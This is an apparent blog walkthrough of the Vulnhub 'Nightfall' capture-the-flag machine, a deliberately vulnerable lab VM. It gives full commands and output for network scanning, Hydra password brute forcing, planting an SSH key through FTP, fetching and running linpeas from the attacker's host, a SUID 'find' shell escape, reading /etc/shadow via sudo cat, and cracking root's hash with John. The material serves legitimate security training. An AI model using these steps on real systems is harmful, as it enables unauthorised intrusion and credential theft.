Nightfall Vulnhub Walkthrough

Nightfall is an beginner machine from Vulnhub by Jason Wong. This machine is tested in VirtualBox. This lab is suitable for beginner because no very complicated exploitation is involved. However, it cover every step of penetration which deserves your practice.

Network Scanning

Firstly, we have to scan the network to find the Victim machine IP using the netdiscover command:

$ sudo netdiscover -i eth1 -r 192.168.56.0/24

The IP address of the target machine has discovered as 192.168.56.254:

Currently scanning: 192.168.56.0/24   |   Screen View: Unique Hosts                          

 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                              
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:14      1      60  Unknown vendor                             
 192.168.56.100  08:00:27:b1:5b:25      1      60  PCS Systemtechnik GmbH                     
 192.168.56.254  08:00:27:23:e4:90      1      60  PCS Systemtechnik GmbH     

NMAP

Further, we may run usual scan with NMAP:

$ sudo nmap -sS -sC -sV -p- 192.168.56.254 -oN nmap_full_scan

According to the output of NMAP, we know open ports and identified services as follows:

  • Port 21 FTP service(pyftpdlib 1.5.5)

  • Port 22 SSH service( OpenSSH 7.9p1)

  • Port 80 HTTP service(Apache2)

  • Port 139/445 Samba service

  • Port 3306 Mysql service

Enumeration

FTP Service

Following standard methodology, the FTP service should be enumerated first. We may check to see whether the version of pyftpdlib is vulnerable or not with searchsploit, but no results.

$ searchsploit pyftpdlib 1.5.5               
Exploits: No Results
Shellcodes: No Results

Anonymous login doesn't seem to work:

$ ftp 192.168.56.254
Connected to 192.168.56.254.
220 pyftpdlib 1.5.5 ready.
Name (192.168.56.254:kali): anonymous
331 Username ok, send password.
Password: 
530 Anonymous access not allowed.
ftp: Login failed
ftp> 

We have finished FTP service enumeration without too much exiciting information.

Samba Service

Samba provides file and print services for various clients. Sometime we can get valuable information from the service. Let's do it:

$ smbclient -L 192.168.56.254 
Password for [WORKGROUP\kali]:

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        IPC$            IPC       IPC Service (Samba 4.9.5-Debian)
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            NIGHTFALL

Two discovered shares cann't do us very much. We should remember another tool which is enum4linux when enumerating Samba service.

~
$ enum4linux 192.168.56.254
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''                    

S-1-22-1-1000 Unix User\nightfall (Local User)                                                 
S-1-22-1-1001 Unix User\matt (Local User)

Two users have been found by enum4linux. Haha, a great step so far. For now, we can put is a side for while.

MySQL

Sometimes MySQL server has weak password configured. We may check with client tool mysql:

$ mysql -uroot -p -h 192.168.56.254            
Enter password: 
ERROR 2026 (HY000): TLS/SSL error: SSL is required, but the server does not support it

If we want to , we can fix the error of SSL by specifying ssl option:

─$ mysql -uroot -p -h 192.168.56.254 --ssl=false
Enter password: 
ERROR 1045 (28000): Access denied for user 'root'@'192.168.56.103' (using password: YES)

In summary, we can't do anything at this point against MySQL service.

HTTP

It is time to enumerate web application both manually and automatically. Only default apache2 web page is presented to us:

The source code of the page may be carefully inspected. Nothing is found. robots.txt is not there as well:

$ curl http://192.168.56.254/robots.txt
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /robots.txt was not found on this server.</p>
<hr>
<address>Apache/2.4.38 (Debian) Server at 192.168.56.254 Port 80</address>
</body></html>

Nikto can be used to enumerate web application comprehensively. It is not just of directory enumeration. As you can see the following output, nothing valuable is found.

$ nikto -h http://192.168.56.254
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.56.254
+ Target Hostname:    192.168.56.254
+ Target Port:        80
+ Start Time:         2025-08-09 21:43:15 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Server may leak inodes via ETags, header found with file /, inode: 29cd, size: 5905baddface9, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: POST, OPTIONS, HEAD, GET .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time:           2025-08-09 21:43:30 (GMT-4) (15 seconds)

Gobuster is an efficent directory enumeration tool, of course, it can do other types of enumeration, such as vhost enumeration.

$ gobuster dir -u http://192.168.56.254 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt,.bak 
/.php                 (Status: 403) [Size: 293]
/index.html           (Status: 200) [Size: 10701]
/.html                (Status: 403) [Size: 294]
/.php                 (Status: 403) [Size: 293]
/.html                (Status: 403) [Size: 294]
/server-status        (Status: 403) [Size: 302]
Progress: 1102800 / 1102805 (100.00%)

Nothing else beyond default home page is found by Gobuster.

Exploitation

Up to this point, the only valuable information has been retrieved: two usernames. We may launch hydra to brute force attack to attempt to find password their passwords to log into FTP:

$ hydra -l matt -P /usr/share/wordlists/rockyou.txt ftp://192.168.56.254      
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-09 22:33:21
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ftp://192.168.56.254:21/
[21][ftp] host: 192.168.56.254   login: matt   password: cheese

Without too much time, the password of user matt has been cracked successfully. Here a good practice to share is that we may make brute force with any service for one user. If it doesn't give us any result within reasonable time such as 5 or 10 miniutes, we shall give up on this user and move on to the next user. Put all usernames into a file and use Hydra to crack on the whole list of users is not a goot way, especically when we do CTF.

We may log into the FTP with the credentials:

$ ftp 192.168.56.254
Connected to 192.168.56.254.
220 pyftpdlib 1.5.5 ready.
Name (192.168.56.254:kali): matt
331 Username ok, send password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -alh
229 Entering extended passive mode (|||49629|).
550 No such file or directory.
ftp> ls
229 Entering extended passive mode (|||42187|).
125 Data connection already open. Transfer starting.
-rw-------   1 matt     matt            0 Aug 28  2019 .bash_history
-rw-r--r--   1 matt     matt          220 Aug 26  2019 .bash_logout
-rw-r--r--   1 matt     matt         3526 Aug 26  2019 .bashrc
drwx------   3 matt     matt         4096 Aug 28  2019 .gnupg
drwxr-xr-x   3 matt     matt         4096 Aug 26  2019 .local
-rw-r--r--   1 matt     matt          807 Aug 26  2019 .profile
-rw-------   1 matt     matt            0 Aug 28  2019 .sh_history
226 Transfer complete.
ftp> 

It is a bit weird if we put options of alh, you will get 550 error. This case we only need to run ls without any options. It seems we are within home directory of user matt. So what can do next? We can upload public key to the target machine through FTP as follows. Of course, key pair should be generated first on Kali with ssh-keygen utility:

$ ssh-keygen                                                     
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/kali/.ssh/id_ed25519): /home/kali/Desktop/Vulnhub/Nightfall/id_rsa
Enter passphrase for "/home/kali/Desktop/Vulnhub/Nightfall/id_rsa" (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/kali/Desktop/Vulnhub/Nightfall/id_rsa
Your public key has been saved in /home/kali/Desktop/Vulnhub/Nightfall/id_rsa.pub
The key fingerprint is:
SHA256:KpgVqlIM3tBD8+7ws1C0v7l99MkFlB7EeLnM4aTd0Z4 kali@kali
The key's randomart image is:
+--[ED25519 256]--+
|   o        +.o .|
|  o o      . X ..|
|.. o.o      @ =.o|
|.oo.+..    . O E.|
| .+o.+  S     .  |
| o += ..   .   . |
|o o..+..  . o o  |
|.   ..o +  . +   |
|     . +...      |
+----[SHA256]-----+

Then we can copy content of id_rsa.pub to authorized_keys which will be uploaded to the target machine later:

$ cp id_rsa.pub authorized_keys 

Going back to FTP session, we put the authorized_keys to the created .ssh directory.

ftp> mkdir .ssh
257 "/.ssh" directory created.
ftp> cd .ssh
250 "/.ssh" is the current directory.
ftp> put authorized_keys 
local: authorized_keys remote: authorized_keys
229 Entering extended passive mode (|||41825|).
125 Data connection already open. Transfer starting.
100% |**************************************************|    91        2.79 MiB/s    00:00 ETA
226 Transfer complete.
91 bytes sent in 00:00 (116.92 KiB/s)
ftp> 

Up to now, we may ssh to the target machine with private key:

$ ssh -i id_rsa matt@192.168.56.254                              
The authenticity of host '192.168.56.254 (192.168.56.254)' can't be established.
ED25519 key fingerprint is SHA256:LNP2tWZpQRX6DqvIkZTj4e+E3VcnCA7JUT9hD59jSjA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.254' (ED25519) to the list of known hosts.
Linux nightfall 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5+deb10u2 (2019-08-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Aug 28 18:31:27 2019 from 192.168.1.182
matt@nightfall:~$ 

Beautiful, we've got initial foothold on the target machine.

Lateral Movemenbt

Futhefore, we have to gather information on the target machine to make lateral movement. Simple manual enumeration doesn't give us very much.

matt@nightfall:~$ id
uid=1001(matt) gid=1001(matt) groups=1001(matt)
matt@nightfall:~$ uname -a
Linux nightfall 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5+deb10u2 (2019-08-08) x86_64 GNU/Linux
matt@nightfall:~$ sudo -l
[sudo] password for matt: 
Sorry, try again.
[sudo] password for matt: 
Sorry, try again.
[sudo] password for matt: 
sudo: 3 incorrect password attempts
matt@nightfall:~$ 

Then we can upload linpeas.sh script to make automatic enumeration. In order to do this, we should set up web server on the Kali with Python3:

$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
matt@nightfall:/tmp$ wget http://192.168.56.103:8000/linpeas.sh
--2025-08-09 22:47:10--  http://192.168.56.103:8000/linpeas.sh
Connecting to 192.168.56.103:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 847924 (828K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh                 100%[=====================================>] 828.05K  --.-KB/s    in 0.003s  

2025-08-09 22:47:10 (304 MB/s) - ‘linpeas.sh’ saved [847924/847924]

matt@nightfall:/tmp$ chmod +x linpeas.sh 
matt@nightfall:/tmp$ ./linpeas.sh 

In the section of output from Linpeas.sh, we may notice the command find has SUID.

╣ Files with Interesting Permissions ╠══════════════════════                       
                      ╚════════════════════════════════════╝                                             
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                         
strace Not Found                                                                                         
-rwsr-sr-x 1 nightfall nightfall 309K Aug 28  2019 /scripts/find    

So it is pretty much clear that we can make use of this command to elevate privilege. We can go the website of GTFOBINS to get exact instructions:

However, we must be very careful at this point since there are two "find" in the system:

matt@nightfall:/tmp$ find  . -exec /bin/sh -p \; -quit
$ id
uid=1001(matt) gid=1001(matt) groups=1001(matt)
$ exit
matt@nightfall:/tmp$ which find
/usr/bin/find

What we are trying to manipulate is living in the /scripts. In other words, we should navigate to /scripts directory and run command find with specific options

matt@nightfall:/tmp$ cd /scripts/
matt@nightfall:/scripts$ ls -alh
total 320K
drwxr-xr-x  2 nightfall nightfall 4.0K Aug 28  2019 .
drwxr-xr-x 19 root      root      4.0K Aug 28  2019 ..
-rwsr-sr-x  1 nightfall nightfall 309K Aug 28  2019 find
matt@nightfall:/scripts$ ./find  . -exec /bin/sh -p \; -quit
$ id
uid=1001(matt) gid=1001(matt) euid=1000(nightfall) egid=1000(nightfall) groups=1000(nightfall),1001(matt)
$ 

So you can see from the above screenshot, we've made successful laeral movement.

$ cd nightfall
$ ls -alh
total 36K
drwxr-xr-x 4 nightfall nightfall 4.0K Aug 28  2019 .
drwxr-xr-x 4 root      root      4.0K Aug 25  2019 ..
-rw------- 1 nightfall nightfall    0 Aug 28  2019 .bash_history
-rw-r--r-- 1 nightfall nightfall  220 Aug 17  2019 .bash_logout
-rw-r--r-- 1 nightfall nightfall 3.5K Aug 17  2019 .bashrc
drwx------ 3 nightfall nightfall 4.0K Aug 28  2019 .gnupg
drwxr-xr-x 3 nightfall nightfall 4.0K Aug 17  2019 .local
-rw------- 1 nightfall nightfall  337 Aug 17  2019 .mysql_history
-rw-r--r-- 1 nightfall nightfall  807 Aug 17  2019 .profile
-rw------- 1 nightfall nightfall   33 Aug 28  2019 user.txt
$ cat user.txt
97fb7140ca325ed96f67be3c9e30083d

User flag can be got without any issue. Similarily we can create key pair and upload public key to the target machine. Let's do it:

$ ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/kali/.ssh/id_ed25519): /home/kali/Desktop/Vulnhub/Nightfall/id_rsa2
Enter passphrase for "/home/kali/Desktop/Vulnhub/Nightfall/id_rsa2" (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/kali/Desktop/Vulnhub/Nightfall/id_rsa2
Your public key has been saved in /home/kali/Desktop/Vulnhub/Nightfall/id_rsa2.pub
The key fingerprint is:
SHA256:Z3U21jfw/D17vZ3O/aqLmzbgsvTbKgWpEil8ImNnaKg kali@kali
The key's randomart image is:
+--[ED25519 256]--+
|             .   |
|              +. |
|o ..   .    . =+o|
|=*o+  o    . + .=|
|=o=. . .S o    .o|
|E . .   oo      +|
|   .  .o .     .o|
|     .o...oo  . *|
|      .+++=oooo*=|
+----[SHA256]-----+
$ wget http://192.168.56.103:8000/id_rsa2.pub
--2025-08-09 22:57:18--  http://192.168.56.103:8000/id_rsa2.pub
Connecting to 192.168.56.103:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 91 [application/vnd.exstream-package]
Saving to: ‘id_rsa2.pub’

id_rsa2.pub                100%[=====================================>]      91  --.-KB/s    in 0s      

2025-08-09 22:57:18 (29.9 MB/s) - ‘id_rsa2.pub’ saved [91/91]

$ cp id_rsa2.pub authorized_keys
─$ ssh -i id_rsa2 nightfall@192.168.56.254
Linux nightfall 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5+deb10u2 (2019-08-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Aug 28 18:35:04 2019 from 192.168.1.182
nightfall@nightfall:~$ ls -alh
total 40K
drwxr-xr-x 5 nightfall nightfall 4.0K Aug  9 22:55 .
drwxr-xr-x 4 root      root      4.0K Aug 25  2019 ..
-rw------- 1 nightfall nightfall    0 Aug 28  2019 .bash_history
-rw-r--r-- 1 nightfall nightfall  220 Aug 17  2019 .bash_logout
-rw-r--r-- 1 nightfall nightfall 3.5K Aug 17  2019 .bashrc
drwx------ 3 nightfall nightfall 4.0K Aug 28  2019 .gnupg
drwxr-xr-x 3 nightfall nightfall 4.0K Aug 17  2019 .local
-rw------- 1 nightfall nightfall  337 Aug 17  2019 .mysql_history
-rw-r--r-- 1 nightfall nightfall  807 Aug 17  2019 .profile
drwxr-xr-x 2 nightfall nightfall 4.0K Aug  9 22:57 .ssh
-rw------- 1 nightfall nightfall   33 Aug 28  2019 user.txt
nightfall@nightfall:~$ 

Privilege Escalation

nightfall@nightfall:~$ sudo -l
Matching Defaults entries for nightfall on nightfall:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User nightfall may run the following commands on nightfall:
    (root) NOPASSWD: /usr/bin/cat

We may make use of the command to retrieve /etc/shadow which contains encrypted password of root.

nightfall@nightfall:~$ sudo /usr/bin/cat /etc/shadow
root:$6$JNHsN5GY.jc9CiTg$MjYL9NyNc4GcYS2zNO6PzQNHY2BE/YODBUuqsrpIlpS9LK3xQ6coZs6lonzURBJUDjCRegMHSF5JwCMG1az8k.:18134:0:99999:7:::
daemon:*:18126:0:99999:7:::
bin:*:18126:0:99999:7:::
sys:*:18126:0:99999:7:::
sync:*:18126:0:99999:7:::
games:*:18126:0:99999:7:::
man:*:18126:0:99999:7:::
lp:*:18126:0:99999:7:::
mail:*:18126:0:99999:7:::
news:*:18126:0:99999:7:::
uucp:*:18126:0:99999:7:::
proxy:*:18126:0:99999:7:::
www-data:*:18126:0:99999:7:::
backup:*:18126:0:99999:7:::
list:*:18126:0:99999:7:::
irc:*:18126:0:99999:7:::
gnats:*:18126:0:99999:7:::
nobody:*:18126:0:99999:7:::
_apt:*:18126:0:99999:7:::
systemd-timesync:*:18126:0:99999:7:::
systemd-network:*:18126:0:99999:7:::
systemd-resolve:*:18126:0:99999:7:::
messagebus:*:18126:0:99999:7:::
avahi-autoipd:*:18126:0:99999:7:::
avahi:*:18126:0:99999:7:::
saned:*:18126:0:99999:7:::
colord:*:18126:0:99999:7:::
hplip:*:18126:0:99999:7:::
nightfall:$6$u9n0NMGDN2h3/Npy$y/PVdaqMcdobHf4ZPvbrHNFMwMkPWwamWuKGxn2wqJygEC09UNJNb10X0HBK15Hs4ZwyFtdwixyyfu2QEC1U4/:18134:0:99999:7:::
systemd-coredump:!!:18126::::::
sshd:*:18126:0:99999:7:::
mysql:!:18126:0:99999:7:::
matt:$6$2u38Z1fOk8zIC5kO$oSfp/Ic0Uhb9225EdHB63ugob.B58mPuJJ8YpMB9hNaZAoJk9n3rhs9DHobzmsB20E5Yxjqsnn1x.QGKeAmiR1:18134:0:99999:7:::
$ echo '$6$JNHsN5GY.jc9CiTg$MjYL9NyNc4GcYS2zNO6PzQNHY2BE/YODBUuqsrpIlpS9LK3xQ6coZs6lonzURBJUDjCRegMHSF5JwCMG1az8k.' > hashes

┌──(kali㉿kali)-[~/Desktop/Vulnhub/Nightfall]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
miguel2          (?)     
1g 0:00:00:07 DONE (2025-08-09 23:02) 0.1344g/s 3888p/s 3888c/s 3888C/s softball27..cliff
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

We can save encrypted password of user:root to a text file then launch john the ripper. Almost immediately, password of root user has been found. Then we can swith to root with this password easily.

Related Articles

HackTheBox Lame CTF Walkthrough

Read Article
Dhanush VulnHub CTF Walkthrough

Read Article
MinU v2 VulnHub Walkthrough: Full CTF Guide

Read Article

Comments

Leave a Comment